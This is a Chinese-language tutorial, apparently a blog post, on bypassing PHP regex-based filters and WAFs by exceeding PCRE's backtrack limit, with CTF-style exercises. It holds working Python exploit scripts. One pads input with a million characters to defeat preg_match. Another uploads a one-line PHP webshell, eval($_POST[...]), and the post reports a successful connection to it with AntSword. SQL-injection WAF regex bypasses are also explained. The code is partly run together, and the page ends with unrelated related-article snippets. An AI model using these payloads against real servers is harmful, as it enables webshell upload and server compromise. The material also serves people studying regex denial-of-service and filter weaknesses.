PHP利用PCRE回溯次数限制绕过某些安全限制实战案例
目录
一、正则表达式概述
有限状态自动机
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
NFA(非确定性有限状态自动机)
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
总结:
1、绕过该正则
例题二
1、利用python语言编写回溯绕过一百万次的脚本
回溯过程模拟:
例题三
文件上传漏洞
1、编写文件上传脚本
2、上传任意一个文件
3、正则回溯
编写回溯脚本
查看并执行python代码是否成功
temp文件出现
使用中国蚁剑进行连接测试
一、正则表达式概述
正则表达式是一个可以被 “有限状态自动机”接受的语言类。
有限状态自动机
其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。
匹配输入的过程分别是:
DFA(确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA(非确定性有限状态自动机)
从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
二、回溯的过程
<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
<?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}
题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:
回溯过程
在第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数
三、 PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
回溯次数上限默认是 100 万
回溯次数超过了 100 万,返回的非 1 和 0,是 false。
preg_match 返回的非 1 和 0,而是 false。
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
对应的 POC 如下:
import requests
from io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)
四、PCRE 另一种错误的用法
基于 PHP 的 WAF:
例一:
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}
均存在上述问题,通过大量回溯可以进行绕过。
例二:
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中,如果我输入 UNION/*aaaaa*/SELECT,这个正则表达式执行流程如下:
.+? 匹配到/因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配*S 匹配*失败,回溯,再由.+? 匹配*因为非贪婪模式,所以.+? 停止匹配,而由 S 匹配 aS 匹配 a 失败,回溯,再由.+? 匹配 a...回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF:
例题一
<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting); //正则匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];if(!areyouok($greeting)){// NULL != false// Null !== false// null !== false// strposif(strpos($greeting,'Merry Christmas') !== false){ //字符查找,如果查找到返回字符的位置,没有就返回falseecho 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}
}else{echo 'Do you know PHP?';
}
回溯绕过步骤 :
1、运行结果: 可见无法匹配
2、尝试匹配:依旧无法匹配
3、再次尝试:发现拿到匹配结果
原因:
此时greeting传递的是数组,元素是123,而 strpos验证的是字符串
由上可见:在strpos这个对字符串处理的函数中传递数组,那么它将会返回一个NULL
将strpos返回的值NULL与 null !== false 进行对比,如果为真,则进行下去,为假则结束。
当只有一个 = bool(false),返回值为false,程序执行结束
<?php
var_dump(NULL != false);
?>
当有两个 == 时,返回值为true,程序继续执行
<?php
var_dump(NULL !== false);
?>
知识点补充:
PHP中 比较 0、false、null,'' "
松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用三个等号 === 比较,除了比较值,也比较类型。 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
0 == false: bool(true) 0 === false: bool(false)0 == null: bool(true) 0 === null: bool(false)false == null: bool(true) false === null: bool(false)"0" == false: bool(true) "0" === false: bool(false)"0" == null: bool(false) "0" === null: bool(false)"" == false: bool(true) "" === false: bool(false)"" == null: bool(true) "" === null: bool(false)
总结:
1、绕过该正则
插入代码:
greeting[]=123;
此时绕过第一个正则
接着会返回
null !== false;
根据严格不相等原则,此时返回结果是true,因此,代码将会继续执行
例题二
<?php
function areyouok($greeting){return preg_match('/Merry.*Christmas/is',$greeting);
}
// 回溯的问题
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,'Merry Christmas') !== false){echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';}else{echo 'Do you know .swp file?';}}else{echo 'Do you know PHP?';}
} else {echo 'fuck array!!!';
}
?>
思路: 只要将if(!areyouok($greeting))为假,并且含有‘Merry Christmas’字符,回溯一百万次即可绕过
1、利用python语言编写回溯绕过一百万次的脚本
from requests import post payload = {'greeting' : 'Merry Christmas' + 'a' * 1000001
}url = 'http://127.0.0.1/xss_location/dem04.php'res = post(url ,data=payload)
回溯超过一百万次后,绕过正则,此时if(!areyouok($greeting))为假,可见最终打印出'Merry Christmas',由此可见绕过完成
回溯过程模拟:
正则回溯实例
例题三
文件上传漏洞
<?php
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {die(show_source(__FILE__));
}
$user_dir = md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { exit("bad request");
} else {@mkdir($user_dir, 0755); $path = $user_dir . '/' . 'oupeng.php'; //利用move_uploaded_file将临时文件,复制到$pathmove_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
?>
1、编写文件上传脚本
<?php
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Xss-filter</title>
</head>
<body><form action="./file_upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>
2、上传任意一个文件
注:php上传文件时会生成一个临时文件,当文件上传完成时该临时文件将会自动删除
可以通过设置睡眠时间来将临时文件tmp抓到
<?php
sleep(100);
echo "<pre>"; //设置输出为格式化输出
var_dump($_FILES);
3、正则回溯
编写回溯脚本
from requests import post files = {'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}url = 'http://127.0.0.1/xss_location/demo6.php'res = post(url ,files=files, allow_redirects=False)print (res.headers)
查看并执行python代码是否成功
temp文件出现
此时,一句话木马已经写入
使用中国蚁剑进行连接测试
连接成功,此时已经绕过漏洞。
相关文章:

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例
目录 一、正则表达式概述 有限状态自动机 匹配输入的过程分别是: DFA(确定性有限状态自动机) NFA(非确定性有限状态自动机) 二、回溯的过程 三、 PHP 的 pcre.backtrack_limit 限制利用 例题一 回溯绕过步骤 &…...

读书笔记 |【项目思维与管理】➾ 顺势而动
读书笔记 |【项目思维与管理】➾ 顺势而动 一、企业步入“终结者时代”二、过去成功的经验也许是最可怕的三、做好非重复性的事四、适应客户是出发点五、向知识型企业转变六、速度是决胜条件 💖The Begin💖点点关注,收藏不迷路💖 …...
开发利器:接口代理和接口模拟工具
前端开发过程往往需要和后端对接接口,而且一般开发都是前后端同步开发,这就难免出现接口提供滞后的问题,从而导致我们前端开发 UI 开发完成而无法调试的问题。面对这种问题,一般我们会有很多种方式处理,比如在代码中写一些模拟数据,或者打断点调试,或者用代理工具 Fidde…...

MAVEN利器:一文带你了解MAVEN以及如何配置
前言: 强大的构建工具——Maven。作为Java生态系统中的重要组成部分,Maven为开发人员提供了一种简单而高效的方式来构建、管理和发布Java项目。无论是小型项目还是大型企业级应用,Maven都能帮助开发人员轻松处理依赖管理、编译、测试和部署等…...

解决 adb install 错误INSTALL_FAILED_UPDATE_INCOMPATIBLE
最近给游戏出包,平台要求 v1 签名吧,AS 打包后,adb 执行安装到手机,我用的设备是google pixel6 , android 系统 13, 提示如下: adb install -r v5_android_202308161046.apk Performing Streamed Install a…...
学习Vue:Event Bus 与 Provide/Inject
在Vue.js中,兄弟组件通信是指两个没有直接父子关系的组件之间如何进行数据传递和通信。为了实现兄弟组件通信,我们可以借助Vue的一些特性,如Event Bus和Provide/Inject。让我们一起来深入了解这些方法,并通过实例来看看如何实现兄…...
Java 工具类之JSON key根据ASCII排序
Java按键值字典序排列 参数按照KEY值进行字典序排序(按照KEY值的ASCII码从小到大),并用&作为各参数之间的分隔符将参数拼接成字符串。这里用到了SortedMap,复制以下代码开箱即用~ /*** getSortedString 对参数按照Key进行ASCII排序* param jsonObject 请求参数…...

深兰科技提出新多模态谣言监测模型,刷新世界纪录
近日,深兰科技旗下深兰科技科学院投稿的《基于二部特定事件树的分层表示的谣言检测》(Rumor Detection With Hierarchical Representation on Bipartite Ad Hoc Event Trees)研究论文被全球人工智能领域*期刊《IEEE Transactions on Neural Networks and Learning S…...
【从零学习python 】33.装饰器的作用(二)
文章目录 再议装饰器4. 装饰器(decorator)功能5. 装饰器示例例1:无参数的函数例2:被装饰的函数有参数例3:被装饰的函数有不定长参数例4:装饰器中的return例5:装饰器带参数 进阶案例 再议装饰器 # 定义函数:完成包裹数据 def makeBold(fn):def wrapped():return &qu…...

【自动电压调节器】无功功率控制的终端电压控制研究(Simulink)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...

比ChatGPT更强的星火大模型V2版本发布!
初体验 测试PPT生成 结果: 达到了我的预期,只需要微调就可以直接交付,这点比ChatGPT要强很多. 测试文档问答 结果: 这点很新颖,现在类似这种文档问答的AI平台收费都贵的离谱,星火不但免费支持而且效果也…...
Character Animation With Direct3D 读书笔记
角色动画简介 2D动画:循环播放多张图片 3D动画: 骨骼动画、变形动画 DirectX入门 Win32 应用程序 Application类:处理主程序循环,图形设备的初始化 Init:加载资源并创建图形设备Update:更新游戏世界&am…...

SpringBoot之HandlerInterceptor拦截器的使用
😀前言 本篇博文是关于拦截器-HandlerInterceptor的使用,希望你能够喜欢 🏠个人主页:晨犀主页 🧑个人简介:大家好,我是晨犀,希望我的文章可以帮助到大家,您的满意是我的动…...

【共同缔造 情暖襄阳】 暑期关爱未成年人志愿服务活动合集(三)
结合2023年襄阳市民政局“共同缔造 情暖襄阳”社会工作服务项目,在襄阳市民政局、襄州区民政局支持下,襄州社工协会联合肖湾街道育红社区开展暑期“希望家园”志愿服务活动,关爱未成年人。 8月4日,为培育孩子们广泛的兴趣爱好和动…...

私密相册管家-加密码保护私人相册照片安全
App Store史上最安全、最强大、最卓越的私密相册App!再也不用担心私密照片视频被别人看见了! 私密相册为你提供多重密码保护机制、简单便捷的照片存储空间,完美地将你的私密照片远离一切恶意偷窥者的窥探! 【产品功能】 √ 支…...

webpack 热更新的实现原理
webpack 的热更新⼜称热替换(Hot Module Replacement),缩写为HMR。这个机制可以做到不⽤刷新浏览器⽽将新变更的模块替换掉旧的模块。 原理: ⾸先要知道 server 端和 client 端都做了处理⼯作: 在 webpack 的 watch…...

OpenCV-Python中的图像处理-傅里叶变换
OpenCV-Python中的图像处理-傅里叶变换 傅里叶变换Numpy中的傅里叶变换Numpy中的傅里叶逆变换OpenCV中的傅里叶变换OpenCV中的傅里叶逆变换 DFT的性能优化不同滤波算子傅里叶变换对比 傅里叶变换 傅里叶变换经常被用来分析不同滤波器的频率特性。我们可以使用 2D 离散傅里叶变…...

阿里云FRP内网穿透挂载多台服务器
1. FRP介绍 FRP (Fast Reverse Proxy) 是比较流行的一款。FRP 是一个免费开源的用于内网穿透的反向代理应用,它支持 TCP、UDP 协议, 也为 http 和 https 协议提供了额外的支持。你可以粗略理解它是一个中转站, 帮你实现 公网 ←→ FRP(服务器…...
多店铺功能
(一) 系统管理:菜单权限、前台菜单、角色管理、职员管理、登录日志、操作日志、图片空间、商城消息、风格设置、计划任务 (二) 基础设置:商城配置、导航管理、广告管理、广告位置、银行管理、支付管理、地区管理、友情链接、快递管理、消息模板 (三) 会员…...

mysql主从复制搭建(一主一从)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言MySQL复制过程分为三部: 一、准备工作二、配置>主库Master三、配置>从库SlaveSlave_IO_Running: YesSlave_SQL_Running: Yes 四、测试至此&am…...

华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...

7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...

3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...

大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...

有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...

【C++进阶篇】智能指针
C内存管理终极指南:智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...
libfmt: 现代C++的格式化工具库介绍与酷炫功能
libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库,提供了高效、安全的文本格式化功能,是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全:…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...